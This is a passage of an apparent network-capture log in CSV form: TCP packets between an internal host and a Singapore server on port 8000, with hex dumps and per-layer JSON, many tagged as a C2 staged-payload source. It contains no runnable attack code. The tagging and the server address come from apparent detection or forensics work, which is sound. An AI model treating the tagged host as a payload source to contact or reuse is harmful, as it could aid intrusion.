192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b077400080063f870a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45175, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16263, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:42.895039,459,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4e40004006e3a5c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LN@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19534, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58277, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:43.910645,460,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025820 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b078400080063f860a98980bc0a3a789fa541f40e1d7f21ca338c1425010201432ea000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45176, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16262, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025820, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13034, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:43.910672,461,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025821,bc2411360d0cbc24112907bb0800450000344c4f40004006e3a4c0a3a7890a98980b1f40fa54a338c142e1d7f21d8010003f0af700000101050ae1d7f21ce1d7f21d,\".$.6\n..$.)....E..4LO@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19535, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025821, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025820, 3789025821))]\"\"}}]\"\n2026-07-01 09:08:44.755999,462,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=3789025821 Ack=2738405698,bc24112907bbbc2411360d0c08004500003db079400080063f710a98980bc0a3a789fa541f40e1d7f21da338c14250182014cd2b00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45177, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16241, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025821, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 52523, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:08:44.756042,463,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000284c5040004006e3afc0a3a7890a98980b1f40fa54a338c142e1d7f2325010003f0aeb0000,\".$.6\n..$.)....E..(LP@.@.......\n....@.T.8.B...2P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19536, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58287, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:45.785667,464,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07a400080063f840a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45178, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16260, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:45.785696,465,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5140004006e3a2c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LQ@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19537, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58274, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:46.801314,466,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07b400080063f830a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45179, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16259, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:46.801341,467,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5240004006e3a1c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LR@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19538, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58273, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:47.801346,468,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07c400080063f820a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45180, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16258, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:47.801364,469,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5340004006e3a0c0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LS@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19539, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58272, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:48.816984,470,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07d400080063f810a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45181, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16257, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:48.817018,471,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5440004006e39fc0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LT@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19540, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58271, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:49.832596,472,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07e400080063f800a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45182, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16256, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:49.832609,473,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025842,bc2411360d0cbc24112907bb0800450000344c5540004006e39ec0a3a7890a98980b1f40fa54a338c142e1d7f2328010003f0af700000101050ae1d7f231e1d7f232,\".$.6\n..$.)....E..4LU@.@.......\n....@.T.8.B...2...?\n......\n...1...2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19541, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58270, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025842, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025841, 3789025842))]\"\"}}]\"\n2026-07-01 09:08:50.848323,474,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025841 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b07f400080063f7f0a98980bc0a3a789fa541f40e1d7f231a338c1425010201432d5000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45183, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16255, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025841, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13013, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 